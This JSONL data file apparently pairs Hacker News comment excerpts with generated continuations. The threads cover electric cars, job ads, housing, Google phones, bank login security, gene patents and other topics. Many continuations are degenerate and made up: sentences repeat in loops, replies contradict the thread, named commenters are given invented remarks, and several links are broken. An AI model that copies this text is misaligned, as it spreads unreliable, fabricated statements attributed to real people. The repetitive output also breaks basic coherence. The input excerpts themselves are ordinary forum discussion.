sure how I will break my habit but I know for a\nfact that I won't be ordering everything from Amazon Prime in the future.\n\nFor a company that commands e-commerce space in year 2020, it is really\nfrustrating to find this workflow while ordering from WF while using Amazon's\napp, it is a joke and UI/UX 101 blunder. You add items to your cart. They run\nout of inventory. Items disappear from your cart. Either you place your order\nassuming all items were in your cart or you don't get a delivery slot and you\nhave to add those items again. Why can't they just borrow the same feature\nfrom Amazon.com where unavailable items move conveniently to \"Save later\"\nsection?\n\n------\nalias_neo\nThis is an important thing to remember. Just last night, I was ordering an\nitem on Amazon, and pointed out to my wife that it is gonna take a week to\ndelivery on prime.\n\nThat's fine"} +{"output_text": " a charging\nstation I can't.\n\n~~~\nTeknoman117\nI'm not assuming that. I'm assuming that you're not charging at home.\n\n~~~\nZanni\nI'm not. I'm charging at work.\n\n------\njoshstrange\nI'm not sure I understand the point of this article. I'm not sure I understand\nthe point of the article. I'm not sure I understand the point of the article.\nI", "input_text": "\nTeknoman117\n100-140 miles is more than adequate for nearly all of the United States. While\nthere are people who drive farther, the vast majority of the citizens of this\ncountry travel less than 40 miles for work, and I don't know anyone who would\ndrive that far for groceries. People tend to want to buy a car for the largest\ntrip they can imagine they'd take, even if that event may only happen a few\ntimes in the vehicle's lifetime.\n\n~~~\nZanni\nYou're assuming that you always start from a full charge (an assumption I used\nto make before I got an EV). That's not always the case. I live in a\ntownhouse, so I'm in the process of getting a charging station installed (it's\nbeen six months so far and we're still in the paperwork stage...) In the\nmeantime, I charge where I can. That means I almost _never_ start my day with\na full charge. Worse, there are only a few places I _can_ charge, and my best\noptions add 20 miles of range in an hour. Say I start my day with 70 miles of\nrange, which should be more than adequate for my ~45 miles of round trip\ncommute. But an emergency comes up and I have to run an errand. It's just a\nshort 10-mile trip, but now I'm coasting in to home with just 5 miles of range\nleft... if my meter is accurate (it's not), if traffic's not bad (it might\nbe), etc. Charging stations are few and far between, which means the nearest\none might be outside of my remaining range. Or, if I can get to one, it might\nbe occupied. At a gas station I can just wait five minutes. At"} +{"output_text": " San Francisco, CA | Full-time | Onsite\n\nWe're a small team of engineers and designers building privacy-focused\nproducts. We're looking for a full-stack engineer to help us build out our\nproduct.\n\nWe're a small team of engineers and designers building privacy-focused\nproducts. We're looking for a full-stack engineer to help us build out our\nproduct.\n\nWe're looking for someone who is passionate about privacy and security, and\n", "input_text": " virtualization and container technologies (KVM, LXC)_ Experience in\nIntel DPDK & NIC drivers _Experience in Layer 3 networking technologies\ndesired Strong problem solving and software development /troubleshooting\nskills _Experience with Broadcom BCM56960 \u201cStrataXGS\u201d / \u201cTomahawk\u201d\n\nBonus Skills: Experience with Broadcom BCM88370/BCM88670 \u201cStrataDNX\u201d /\n\u201cJericho/Qumran\u201d\n\n~~~\npravin19\nJob description @ [https://www.rtbrick.com/md/job/sr-software-engineer-\npfe.html](https://www.rtbrick.com/md/job/sr-software-engineer-pfe.html)\n\n------\ntjbladez\nBenchprep | Senior Engineer | Chicago | ONSITE\n\nCompany: We are a small group of driven, ambitious individuals committed to\nchanging the landscape of education. We work hard, eat well, and have lots of\nfun. We work at BenchPrep because we love it (plus benefits, competitive\nsalary, perks etc).\n\nWe are looking for talented and motivated professionals who are excited about\nthe chance to leverage technology in order to impact the lives of millions of\nstudents. Our clients include ACT\u00ae, HRCI, Hobsons and many other educational\ncompanies. Check out job description\n[http://www.builtinchicago.org/job/senior-\nengineer-6](http://www.builtinchicago.org/job/senior-engineer-6) and shoot\nemail to techjobs@benchprep.com\n\n------\nslvrspoon\nAbine: Online Privacy |"} +{"output_text": " work more hours to make the same amount of money.\n\n~~~\nSixSigma\n>paying people more for these jobs would make the end product way more\nexpensive\n\nIt would not.\n\n>and make your country not competitive (what's happening here in France)\n\nIt is not competitive because the people who are doing the work are not\ncompeting on the same terms.\n\n>another side effect is that because the price of the end product gets more\n", "input_text": " is the second-\n> highest in Europe.\n\nThis is the result of years of malinvestiment in human capital. The Austrian\nTheory of Business Cycles explain.\n\n------\nsmsm42\nSo, if they don't have enough qualified workers, why don't they start creating\non-the-job training programs? I understand there's risk in such investment\n(i.e., you train a person and then they leave for a higher salary) but there\nare many ways to counter it. Is there something like that happening in Spain?\nIf not, why?\n\n------\nrcarmo\nI've been pinged by recruiters for positions in Spain pretty much every week,\neither multinationals who need to grow their presence or local corps looking\nfor experts. Cost of living is about the same as here in Portugal, but my\nprevious experience with local execs makes me leery of those opportunities.\n\n------\nSixSigma\nThe agriculture sector employs many North African illegal immigrants.\n\nVisit the greenhouses of Almeria and see what happens when you take your\ncamera from its bag.\n\n~~~\npatrickaljord\nThe do so because local people don't want to do these jobs.\n\n~~~\nSixSigma\nIf people don't want to do a job, it is because it is not suitably\nremunerated.\n\nUsing illegal labour instead should not be defended. It undercuts the position\nof the legal workers.\n\n~~~\npatrickaljord\nPaying people more for these jobs would make the end product way more\nexpensive and make it hard to compete on the global market and make your\ncountry not competitive (what's happening here in France). Another side effect\nis that because the price of the end product gets more expensive, people will\nhave to"} +{"output_text": "------\njaredsohn\nPivotal Labs | Software Engineers | ONSITE | Full-time | San Francisco, CA\n\nPivotal Labs is a small team of engineers and designers that builds products\nfor the cloud and enterprise. We are looking for engineers who are interested\nin building products that help companies build better products.\n\nWe are looking for engineers who are interested in building products that help\ncompanies build better products. We are looking for engineers who are\n", "input_text": ".\n\n~~~\nefnx\nDoug! You beat me to the punch! ;) I signed on with Takt in October and it has\nbeen very rewarding. The culture is great and I'm learning a lot from\nabsolutely everyone. I highly recommend applying :).\n\n------\nsnowmaker\nY Combinator (yes, the people who run this site) is hiring hackers (San\nFrancisco, ONSITE)\n\nY Combinator has a very big vision, one that goes beyond just funding\nstartups. Yesterday we announced a new partnership with the ACLU:\n[https://news.ycombinator.com/item?id=13531707](https://news.ycombinator.com/item?id=13531707)\n\nHere's a secret most people don't know: software is at the core of our plans\nfor taking YC to the next level.\n\nWe're looking for a couple of great hackers to join a small team in San\nFrancisco working on these new projects. It's not a job for everyone, but it\nwould be a good fit for someone who loves startups. Working at YC, you won't\njust write code, you'll be involved in everything YC does.\n\nHere's an example of something interesting we built recently:\n[http://themacro.com/articles/2016/08/investor-day-\nsoftware/](http://themacro.com/articles/2016/08/investor-day-software/)\n\nIf you're a hacker, send us a note here:\n[http://bit.ly/1Od0T2l](http://bit.ly/1Od0T2l). You can also email me with\nquestions: jared@ycombinator.com\n\n"} +{"output_text": " people who work in them.\n\n~~~\nmensetmanusman\nI\u2019m not sure if this is the right place to ask this, but I\u2019m curious if anyone\nhas any thoughts on this.\n\nI\u2019m thinking of a city where the cost of living is so high that it is\nimpossible for the people who work in the city to live there.\n\nI\u2019m thinking of a city where the cost of living is so high that it", "input_text": " service industry. Otherwise you face a real\nmacroeconomic problem.\n\n[1] [http://www.paulgraham.com/pgh.html](http://www.paulgraham.com/pgh.html)\n\n~~~\nselestify\nWhy can't they pay their chefs more until the chefs too can afford to live\ncloser?\n\n~~~\nabalone\nIs this not obvious? Seriously, this question always comes up in these\ndiscussions. The answer is it\u2019s a macroeconomic problem: SF restaurants have\nalready increased prices to $34 for a pork chop and $13 for a cocktail (Nopa..\nwhich I attest is a very good value by SF standards). Restaurant margins are\nlow. If they triple their cook salaries it will result in a net decline and\nthey\u2019ll close.\n\nWhat we\u2019re seeing is a shift towards \u201cfine casual\u201d formats like Souvla that\nhave lower labor costs. But there are just fewer midrange restaurants opening\ndue to labor and rent and the ceiling on what they can sustainably charge. The\nhigh end and low end / fine causal are doing ok.\n\n~~~\nselestify\nSo then why not let them close? Seems like the supply-and-demand problem will\neventually reach a new equilibrium.\n\n~~~\nabalone\nBecause then chefs would be even worse off because half would lose their jobs?\nA better solution is to provide them affordable housing.\n\n------\ntechnics256\nAn excellent article that highlights the biggest issues facing SF and the Bay\nArea overall, and the people who do not do a lot about it.\n\n------\nmensetmanusman\nReally points to how low cost robotics could potentially revolutionize food in\ncities with impossible living conditions for the"} +{"output_text": "/26/opinion-google-still-\ns...](https://www.droid-life.com/2017/10/26/opinion-google-still-sucks-at-\nselling-phones/)\n\n------\njoshstrange\nI'm not sure I agree with this. I've had a Pixel XL for a few months now and\nI've had zero issues with it. I've had a few issues with my Nexus 6P but I\nthink that", "input_text": " re-\napply for Payments Pro in 2-3 months. They might reconsider.\n\n \nOpinion: Google Is Still Bad at Selling Phones - wbsun\nhttps://www.droid-life.com/wp-content/cache/page_enhanced/www.droid-life.com/2017/10/26/opinion-google-still-sucks-at-selling-phones/_index.html\n======\ndovdovdov\nThis is just market research, when they asked the community what they see in\nthe competitor,\n\npeople said 'no headphone jack' and 'overpriced crap'.\n\nGoogle just delivered on these desires.\n\n~~~\npiyush_soni\nYes. Apparently, when they sold the amazing value for money Nexus phones\n(especially the 5), no one wanted buy those \"cheap plastic phones\". Pixel 1,\nthe overpriced phone was the first one people noticed and bought. Sad, but\ntrue.\n\n~~~\nrak00n\nRemember the bootloop issue in 5x and 6p? They have a long way to go in this\nmarket.\n\n~~~\ntotalZero\nMy Nexus 6P soft bricked itself in exactly this way, by spiraling into a\nnever-ending bootloop. I contacted Google to ask for help, and they wouldn't\neven send me the documents I needed to get my credit card's warranty service\nextension program to replace my phone. I will never again buy a Google\nhardware device as long as I live.\n\n------\nnoncoml\nWhy would anyone buy a phone from an advertising company?\n\n~~~\na012\nBecause they're advertised\n\n------\nNateyJay\nFixed link: [https://www.droid-life.com/2017/10"} +{"output_text": " you can leave and we will pay\nyou the difference between your current salary and the one you would get at\nthe new job\".\n\n~~~\nOletros\n> Why not pro-actively train people?\n\nBecause we are a small company and we don't have the resources to do that.\n\n> Looking 2 months for someone with some kind of certification for \"agile\" is\n> already a fourth of the time required to train someone who is already working\n>", "input_text": " different there.\nThe gov needs to take their finger out. Luckily we have a very helpful\n(Spanish) mayor who loves entrepreneurs and helps us with whatever, but he\nalso shakes his head when talking about hiring people locally.\n\n~~~\nOletros\n> you cannot fire them even if they are crap etc.\n\nI highly doubt that, it has not been easier to fire someone in Spain since the\nlatests reforms.\n\nNot taking into account that there is always a period were the employer and\nthe employee can cancel the contracts without any duty. Normally 6 months\n\n~~~\ntluyben2\nWhen were those because I was discussing this'recently' with my lawyer on the\ncoast? Yes the 6 months is true and I compare it with NL where firing is also\nhard but it's very straighforward how it works. Here I haven't been able to\nget it explained in that fashion. So far people look at us with pity when we\ntalk about hiring people legally. Note; we are a tiny company.\n\n~~~\nOletros\nBasically you can fire anyone when you want. If the cause is justified you pay\n10 day for year worked, if it is not justified you pay 20\n\n------\njlg23\nWhat I am missing in the article and in all discussions here is: Why not pro-\nactively train people? Looking 2 months for someone with some kind of\ncertification for \"agile\" is already a fourth of the time required to train\nsomeone who is already working for the client (numbers taken from the\narticle).\n\nIf one is willing to pay 220k and cannot find anyone while most job offers\n(according to comments here) max out at 36k, make a deal with a current\nemployee: \"We pay for training, after 2 years"} +{"output_text": "custom build from a company like Antec, but it's not going to be as easy as\ninstalling Linux on a Mac.\n\n------\nsahin-boydas\nI am not asking for a hackintosh. I am asking for a laptop with all the\nfeatures of a macbook pro.\n\n~~~\nsfrailsdev\nYou can get a hackintosh with a custom build from Antec, but it's not going to\nbe as easy as", "input_text": " how long\nwill it be.\n\n \nAsk HN: What is there any Hackintosh of-the-self laptop? - sahin-boydas\nI am mac user since I am 6 years old and I really feel good if I use latest.

I am really done with Macbook for simple reasons.

1) Why do I need to wait 2-3 years and get 1-2 year old hardware for 2500 USD av.

2) I want everything to be usb-c fine. I really got it but world or us are not ready for it.

3) Why in the world one of best operation company cannot deliver an iphone with usb-c or can't have iphone slot in macbook pro. This is a joke!

4) I want Mac subscription or upgradable mac.

5) I have macbook, apple watch, iphone 7, how in the world is it difficult to have 1 charger (smart enough to detect the device and charge) and simple usb-c for all of it instead of 4 doggles/cables/adaptors\n====

For all these reasons, I am asking. Is there any of-the-self laptop Hackintosh?

(I will use for educational purposes so please don't remind me about EULA)\n======\ninformatimago\nThe EULA applies to educational purposes too. Education is one of the main\nmarkets of Apple.\n\nI'd suggest to install Darwin and GNUstep, or better, Linux and GNUstep on a\nPC laptop.\n\n------\nsfrailsdev\nOff the shelf hackintoshes don't exist afaik. You might be able to get a\n"} +{"output_text": "\" is also a bad idea.\n\nThe \"for (var i = 0; i < arr.length; i++) { ... }\" is also a bad idea.\n\nThe \"for (var i = 0; i < arr.length; i++) { ... }\" is also a bad idea.\n\nThe \"for (var i = 0; i < arr.length; i++) { ... }\" is also a bad idea.\n\nThe \"for (", "input_text": "-vs-foreach/293](https://jsperf.com/for-vs-\nforeach/293) shows that there is no significant difference in for of vs\nforEach in my version of chrome. There is an insignificant difference\nacoording to which forEach is actually slower. (One forEach case in that\nbenchmark is only faster because it does something different.)\n\nEdit: looking at the comparison at the bottom, it seems like forEach is\nactually significant slower than for of since chrome 61.\n\n~~~\nolliej\nLots of work went into making the perf of for(of) fast - after the initial\n\u201cmake it semantically correct\u201d bits.\n\nThere are many reasons it is faster, but it also has the nice property of\nworking sensibly on any iterable object rather than forEach that only iterates\nby index, and has an annoying \u2018if (index in object)\u2019 in the loop.\n\n------\ngbuk2013\nThis is a very mediocre article that mixes some good advice with misleading\nand frankly bad things.\n\nJustifying forEach (which is several times slower than a for loop) with sparse\narrays (which are an anti-pattern because they take you out of \"fast elements\"\nmode in V8 at least) is laughable in a sad way. It also has no \"break\"\nfunctionality, which is important if we are talking about performance (i.e.\nwhen iterating the array to find a specific member).\n\nThe advice for using array literals to insert elements is also bad for the\nsimilar reason that it makes it easy to create sparse arrays.\n\nThat and \"i>arr.length\" in the example means the for loop will run exactly 0\ntimes! ;)\n\nUsing \"filter\", \"map\" and \"reduce"} +{"output_text": " just so much\ninformation out there about the Steinway that it's hard to know what to\nbelieve.\n\n------\njameshart\nI'm not sure I understand the point of this article. It's a press release\nabout a new piano roll player, and it's written in a way that makes it sound\nlike a press release.\n\n~~~\nbalabaster\nI'm not sure I understand the point of this article. It's a press release\nabout a", "input_text": " actually scanned\nthem and converted them to MIDI:\n[http://www.pianola.co.nz/public/](http://www.pianola.co.nz/public/)\n\nThese files can now be played on a Yamaha Disklavier, or the Steinway CEUS or\nnow this new one.\n\nOr they can be played with software-modeled pianos like PianoTeq or sampled-\nbased software pianos. Really nice.\n\n------\nnjloof\nPiano rolls have survived for over a century. I wonder whether these\nperformances will have the same longevity.\n\n~~~\nD_ANGER\nYamaha has been doing this for at least a decade, recording performers for\ntheir player grands. I don't know how intense the home market is but they've\nused them for master classes and competitions remotely; pretty interesting as\na teaching tool.\n\nAlso, Jenny Lin is a fantastic pianist, check her out.\n\n~~~\ncolomon\nYes, I find it really frustrating that the article doesn't contrast at all\nwith the previous state of the art. I seem to remember that the Yamaha pianos\nyou mention already had significantly better than MIDI reproduction\ncapabilities way back when. Getting all excited about the new system without\nmentioning how much of an improvement it is makes this sound like a press\nrelease rather than a well-researched article.\n\n~~~\nbalabaster\nHaving played quite a large number of the Yamaha Clavinovas over the years, I\ncan concur. Knowing this makes this read exactly as if it were a press\nrelease, or at least an article written by a Steinway Fanboy... of course, I\ncan't blame someone for being a Steinway Fanboy, there's"} +{"output_text": " numbers, 3 tries, 10 accounts, the chance of guessing at least 1 account is\npow(1-3/pow(10,5),10)\n\n~~~\nviraptor\nI think you're missing the point. The bank is not trying to prevent you from\nusing the account. They are trying to prevent you from using the account to\ntransfer money to someone else.\n\n~~~\nhyperman1\nI think you are right. I was thinking of the bank", "input_text": " real person\"\ndetection.\n\n~~~\nthrowaway201606\nThanks for taking the time to explain this: it does indeed seem clear that\nthey are just doing username and password detection for access.\n\nA followup question: I have lived in Europe and have accounts in banks in\nIreland. For those accounts, actually executing any financial transaction\nrequires entering a one time token generated by a device that uses your debit\ncard and PIN.\n\nLike so:\n\n[https://www.youtube.com/watch?v=kEOEQzC8-Fc](https://www.youtube.com/watch?v=kEOEQzC8-Fc)\n\nDo the banks you tested have a similar setup?\n\nJust trying to find out if these specific banks have chosen to control view\ntransactions with just the username / password but require some other\nadditional authentication for actual financial transactions.\n\n~~~\nviraptor\nNone of them required extra authorisation to get data. (even transactions\ngoing back 5+ years) They did have the SMS validation when adding new transfer\ntargets, but not for executing transactions to existing contacts - which is\npotentially an issue if you can pay off a different credit card just by\nchanging the reference field.\n\n------\nhyperman1\nThe 5 number 3 tries bank does not seem very secure:\n\nIt is (at least in my country) very easy to guess valid acount numbers: They\nare incrementally numbered + have a checksum. So while 1 account of a 5 number\n3 tries bank is safe, attacking all of them in volume is not:\n\nWith N numbers, T tries, A accounts, the chance of guessing at least 1 account\nis pow(1-T/pow(10,N),A)\n\n5"} +{"output_text": "reasonable, but I don't think that's the main reason people hate usage-based\nbilling.\n\n~~~\nsliverstorm\nI'm not saying usage-based billing is perfect, but I think it's a step in the\nright direction.\n\n------\njrockway\nI don't think this is a problem. I think the problem is that people don't\nunderstand how the internet works.\n\nThe internet is a network of networks. There is no \"", "input_text": ". Baffles me as to why.\n\nI think we need to make it illegal to advertise \"unlimited\" without it\nactually being unlimited. I would have thought that existing truth-in-\nadvertising laws would cover this, but apparently they don't.\n\nMake it illegal to promise what you never intend to deliver and this whole\nproblem goes away. If unlimited is practical to offer, then it will be\noffered. If unlimited is not practical, then ISPs will no longer be allowed to\npretend that it is, and will be encouraged to make the limitations of their\noffers obvious up-front instead of using shady nonsense like this.\n\n~~~\nsliverstorm\nAs I see it there are three reasons the tech community hates usage-based\nbilling.\n\n\\- First, any time a company tries usage-based data billing, they charge\nabsolutely criminal rates. If you paid attention to usage-based cell service\nover the years, you'd know what I speak of.\n\n\\- Second, in an \"unlimited\" model, some users use more, some use less. In\ngeneral the tech community will be the ones using more- so they benefit at the\nmarginal expense of other users. They pay comparatively less by volume for\ntheir usage.\n\n\\- Third, in my opinion there's at least a tiny bit of entitlement going\naround in the online community as a whole. Nobody wants to pay for anything.\nYou know, because \"information wants to be free!\" and all.\n\n~~~\nmikeash\nAT&T's overage rates are pretty reasonable. They charge $10/GB, which is about\nwhat you pay for the initial monthly data plan anyway. Of course, there's\nprobably leftover sentiment from times when overages were much less\n"} +{"output_text": " a clever experiment have revealed that light is both a\nwave and a particle at the same time. The result is a new way to understand\nthe nature of light, and it could lead to new ways to manipulate light.\"\n\n~~~\njessriedel\nI think the article is a bit misleading. The experiment is not a new way to\nunderstand the nature of light. It's a new way to understand the nature of\nparticles.\n\n~~~\nmsimpson\n", "input_text": " never\nneed their full allotment, and when they do, they only need it occasionally.\n\n \nThe Secret Lives of NYC Mega-Projects - aaronbrethorst\nhttp://gizmodo.com/the-photographer-who-documents-the-secret-life-of-nyc-m-1697968505\n======\npartisan\nI recently spoke to a few people who have worked on these large scale\nmunicipal projects. We think we have a hard time managing active software\nprojects. These projects have change orders alone worth well into the 10s of\nmillions. There are so many moving parts, literally, that it is a miracle they\nget completed at all.\n\nI don't find the choice of photos particularly inspiring, from an artistic\nsense, but it is nice to have a peak into that world.\n\n------\ndanjayh\nThese projects are amazing. Seeing the work that goes into just a single\nsubway line makes it absolutely mind blowing to me that China has managed to\nbuild entire metropolises, complete with subway systems, in well under a\ndecade. These photos are absolutely fantastic, and I'm happy to have had the\nopportunity to see some of what goes into this kind of work.\n\n \nFirst photograph of light as both a particle and wave (2015) - ThomPete\nhttp://m.phys.org/news/2015-03-particle.html\n======\nmsimpson\nThis article is much more clear on what the image actually represents:\n[http://www.livescience.com/50019-image-light-wave-\nparticle.h...](http://www.livescience.com/50019-image-light-wave-\nparticle.html)\n\n\"A clever technique and"} +{"output_text": " the people who are currently living in the luxury housing will move out\nand the people who are currently living in the less desirable housing will\nmove in.\n\n~~~\nempath75\nThat\u2019s not what I\u2019m saying.\n\n------\njedberg\nI think the article is missing the point.\n\nThe problem is that the housing market is not a free market. It's a monopoly.\n\nThe government has a monopoly on the use of force. It", "input_text": " to meet demand. So only the lucky few who win the\nhousing lottery will benefit. Everyone else (most lower-income people, middle-\nincome renters overpaying for low-end housing) still loses out.\n\nI'd prefer that we solved the problem for most people rather than just a lucky\nfew. If people couldn't afford food because not enough farmland was available\nfor reasons like \"preserving the character of the area\" (imagine that you\ncan't truck food in from lower-cost locations in this scenario) you bet we'd\nfind a way to start growing more food stat. No one would say \"Well we'll just\nsubsidize food for some people so fewer people will starve. But it's no use\nletting farmers farm because they'll just grow Kobe beef and avocados instead\nof wheat and corn\".\n\n~~~\nkelnos\n> But it's impossible to make affordable and below-market housing profitable\n> unless the underlying issues, land acquisition costs and zoning, are\n> addressed.\n\nTotally agree. Developers don't want to build affordable housing because they\nin some cases actually stand to lose money when doing so. SF's byzantine\nplanning process makes it that way, and that's not going to change without\nsome heavy reform there.\n\n------\nempath75\nIf you build new luxury housing presumably people now living in less desirable\nhousing will upgrade, making their housing available at lower prices, etc.\n\n~~~\n1_2__4\nThis claim keeps popping up. I\u2019ve yet to see it include a citation. Maybe\ntoday will be different.\n\n~~~\nempath75\nIt\u2019s in this very article.\n\nWhat other outcome could happen?\n\n~~~\nthrowawaymsft\nThat"} +{"output_text": ".com/en/services/chargeback-\nservices/chargeback...](http://www.sedo.com/en/services/chargeback-\nservices/chargeback-services.html)\n\n------\njoshu\nI'm not sure I understand the business model.\n\n~~~\njoshu\nI think the business model is to charge the merchant for the time it takes to\nprocess the chargeback.\n\n------\njoshu\nI'm", "input_text": " will be a short delay before the merchant notification emails come out.\nWe put them through a degree of manual approval and due to load from HN\ntraffic it may take some time for them to be fully processed.\n\n------\neCa\nI think a page called \"Who we are\" [1] should answer that question, and not\ndescribe \"what we do\" (again). Especially with something involving such\nsensitive information.\n\n[1] \n\n------\ntwodayslate\nI'd rather just file a chargeback with my credit card company. It is just as\neasy imo.\n\n------\nbreck\nI think there is a big need for this type of service. The majority of my\ntransactions are fine, but there are times when I have a problem and getting\nit resolved is a huge hassle. Like last month when the NYTimes charged me $15\nbut a bug in their database prevented me from actually using my account. Took\n2 painful hours to get a refund.\n\nIn those cases I assume the merchant has better things to do as well, and it\nseems like a service like this could offload some work from their support\nstaff and, by adding things like exit surveys, turn those small number of bad\nexperiences into positive, constructive experiences for all parties.\n\n------\nmalbs\nWell I had a disputed charge I was planning on seeking to have overturned, so\nI've just tested the chargeback.cc system with this dispute as a trial\n\n~~~\nmyotherthings\nPlease do. If you have any feedback, please post it here or email it to\njames@chargeback.cc\n\n------\niusdfhsdfiuh\n[http://www.sedo"} +{"output_text": "://www.youtube.com/watch?v=Z_0_0_0-\nXcQ](http://www.youtube.com/watch?v=Z_0_0_0-XcQ)\n\n------\njoshu\nI got a job at a startup that I really like.\n\n------\njoshu\nI got a job at a startup that I really like.\n\n------\njoshu\nI got a job", "input_text": "school while working full-time in career progressing employment that's gotten\nme involved in deeply impactful work.\n\nAfter years of skirting close to poverty and receiving no help from either of\nour families, and coming out more educated and wealthy than anybody in my\nfamily history, through nothing but determination, hard work and a few\nsprinkles of luck. I now own a great home, in a fantastic neighborhood, am\n_almost_ debt free (house and all). But being able to also enjoy life at the\nsame time, to follow some of my passions, travel, enjoy food and art and wine.\n\nI've now found myself in a position where I've done the career, and I'm\nbacking off a bit to relax, learn and enjoy pure simple work for a change.\n\nThe life I live in now has exceeded any possible life I ever expected to live\nas a child. I'm incredibly proud of it.\n\n------\nwalshemj\nWell back a few years ago I got 1500 people a better pension.\n\nIn terms of my day job IT Fixing a 2 mill shortfall for BT and Finding a bug\nthat was costing total jobs 1/2 a mill a week.\n\n------\nChuckMcM\nI am most proud of my kids. They will be positively impacting the world's\nissues long after my passing. And as a result of being a parent I've come to\nappreciate that creating a good practice for solving a problem is much more\ndurable than solving the problem, because problems are never \"solved\" they\nmutate like viruses and re-appear in a slightly different form which is\nresistant to the previous solution.\n\n------\nlisper\nI got over my fear of talking to homeless people by making a movie about them:\n[http"} +{"output_text": "id=00413...](https://www.accenture.com/us-\nen/careers/jobdetails?id=00413006_en)\n\nLOCATION: Reston, VA | Software Engineer [https://www.accenture.com/us-\nen/careers/jobdetails?id=00413...](https://www.accenture.com/us-\nen/careers/jobdetails?id=00413006_", "input_text": "and-Medium-Companies-to-Work-For-\nLST_KQ0,43.htm)) and have been ranked at a top work place by the Austin\nAmerican-Statesman six years running\n([http://www.topworkplaces.com/frontend.php/regional-\nlist/comp...](http://www.topworkplaces.com/frontend.php/regional-\nlist/company/statesman/spiceworks)).\n\nFind out more about Spiceworks and see the current openings at\n[http://www.spiceworks.com/jobs](http://www.spiceworks.com/jobs)\n\n------\ndanamclee\nAccenture Federal Services | www.accenturefederal.com | ONSITE | Full-Time\n|[https://www.accenture.com/us-\nen/careers/jobsearch?keyword=fe...](https://www.accenture.com/us-\nen/careers/jobsearch?keyword=federal)\n\nMust have Defense Government Contract experience for each opening.\n\nAccenture Federal Services Company, is a leading solutions integrator focused\non using information and technology to solve real world problems for the\nFederal government.\n\nMultiple positions listed below: LOCATION: Reston, VA | Federal Cloud\nEngineer/LINUX [https://www.accenture.com/us-\nen/careers/jobdetails?id=004130...](https://www.accenture.com/us-\nen/careers/jobdetails?id=00413006_en)\n\nLOCATION: Chantilly, VA | Software Engineer [https://www.accenture.com/us-\nen/careers/jobdetails?"} +{"output_text": " the cDNA and\npatent it.\n\n~~~\nsageikosa\nThe ruling is that the isolated cDNA is not patentable because it is not\n\"natural\".\n\n~~~\nakiselev\nI'm not sure I understand. Is the isolated cDNA not patentable because it is\nnot \"natural\"?\n\n~~~\nsageikosa\nThe ruling is that the isolated cDNA is not patentable because it is not\n\"natural\".\n\n~~~\nakise", "input_text": " disappointing. Does that mean if you manage to\nsuccessfully isolate a natural version of a patented cDNA, then that patent\nbecomes effectively invalid?\n\nIn practice this might not be the hardest thing to do. Do you like someone's\nengineered version of a gene? Then transform some randomized libraries into\ncell cultures (or add mutagens) and keep fishing until you extract a \"natural\"\ncopy that is the same as the patented cDNA.\n\n------\nabitsios\nThere's a new TV series that touches upon this - Orphan Black.\n\n\\---- Spoilers, obviously ----\n\nSo they're clones, and they have a \"special repeating marker\" of some sorts.\nOne of the clones is a biochemist, and she manages to decode it. Turns out, it\nis a copyright message covering those organisms _and their biological\noffspring_ as property of X corporation. \\-------- Spooky, but wouldn't the\nmessage get diluted after reproduction?\n\n~~~\nsageikosa\nFrom what I understand, the likelihood of any cistron in the genetic code\ngetting diluted is dependent on the sequence length compared to the overall\nlength of the chromosome on which it can be found.\n\nHowever, since this is sci-fi, it may be possible that some of the genetic\nsequence is setup to actually alter the meiosis process and not perform any\n\"crossing over\" events in egg cell construction.\n\n------\nakiselev\nCan anyone with experience clarify this ruling? Is the SCOTUS saying that just\nbecause the specific cDNA strand doesn't exist in nature (as far as I know),\nthen it is patentable?\n\nCorrect me if I misunderstood the ruling, but it seems to be absolutely\nridiculous. You could just automate the process of isolating"} +{"output_text": "everyone else is too scared to do business with them, that's a problem.\n\n~~~\nmattsfrey\nI'm not sure I understand your point.\n\n~~~\nwpietri\nI'm saying that the Internet has enabled previously-scattered terrible people\nto connect and self-radicalize.\n\nI'm not saying that the Internet is the problem. I'm saying that the Internet\nis a problem.\n\n~~~\nmattsfrey", "input_text": " that companies actively want to host, but at\nsome point we're complaining that white nationalists don't get FRAND terms,\nand it's a little hard to get worked up about that.\n\nGab ran Twitter for White Nationalists off Digital Ocean, Azure, and who knows\nwhere else. Gab's users have a disconcerting tendency to blow up synagogues.\nGab itself has a disconcerting tendency to recruit people who cheerlead anti-\nSemitism. Are we surprised they aren't getting the $15,000 startup promo\ncredit from AWS?\n\n~~~\nmattsfrey\nAgain, details.. What if every single domain company decides to blackball\nthem? What do they do then? Nothing, they are off the internet.\n\n~~~\nwpietri\nI guess they'll have to return to sharing their desire to kill black people\nthe old fashioned way, in person.\n\nSomething you aren't grappling with here is the way the Internet has enabled\npreviously-scattered terrible people to connect and self-radicalize. David\nNeiwart, who tracked various \"patriot\", white supremacist, and other fringe\ngroups since the 90s, wrote a very readable book about how things have changed\nsince then: [https://www.amazon.com/Alt-America-Rise-Radical-Right-\nTrump/...](https://www.amazon.com/Alt-America-Rise-Radical-Right-\nTrump/dp/1786634236)\n\nI definitely appreciate the early ethos of the Internet. It's a good founding\nmyth, and I would like to work to keep things open by default. But if the\nworse 0.1% of humankind ends up not being able to host anything because\n"} +{"output_text": "zcam/f9d9e9d8e9f8e9b9e9d9](https://gist.github.com/zcam/f9d9e9d8e9f8e9b9e9d9)\n\n------\njchw\nI\u2019m not sure if this is a good idea, but I\u2019m curious if there is a way to\nmeasure the strength of a chess engine. I\u2019m", "input_text": "\nnet engine.\n\n~~~\nganeshkrishnan\nBoth stockfish and LC0 are open source.\n\n------\nendgame\nThere were multiple chess-related submissions in SIGBOVIK 2019:\n[http://www.sigbovik.org/2019/](http://www.sigbovik.org/2019/)\n\nIn particular, there was one that played a bunch of chess engines against each\nother, and came up with a better metric than Elo, for when players aren't\ngoing to change skill.\n\n------\nmynameishere\nAnother classic mismatched match-up:\n\n[https://www.youtube.com/watch?v=E4N0Ap2rkdI](https://www.youtube.com/watch?v=E4N0Ap2rkdI)\n\n...but I was more impressed by the Atari 2600 chess game which had castling\nand _en passant_. Having 256 bytes seems like a good excuse to leave out such\nnonsense.\n\n~~~\nSomeone\n256 bytes of RAM, plus insane amounts of ROM (a whopping 4kB, acccording to\n[https://en.wikipedia.org/wiki/Video_Chess](https://en.wikipedia.org/wiki/Video_Chess))\n\n~~~\njchw\nDang, 4kB... In 32 bit depth, you could encode that with a measily 32x32\nimage. Think of how many more bytes a smartphone from even several years ago\nhas in it's framebuffer, that it is more than capable of filling 60 or even\nmore times per frame.\n\n------\nz-cam\nRelevant (and mentioned at the end of the video):\n[https://gist.github.com/"} +{"output_text": " choice.\n\n~~~\namputect\nI'm not sure I follow.\n\nIf you're a company that's not on Stripe, you're not going to be able to\nprocess credit cards for Nazis.\n\nIf you're a company that's not on Stripe, you're not going to be able to\nprocess credit cards for 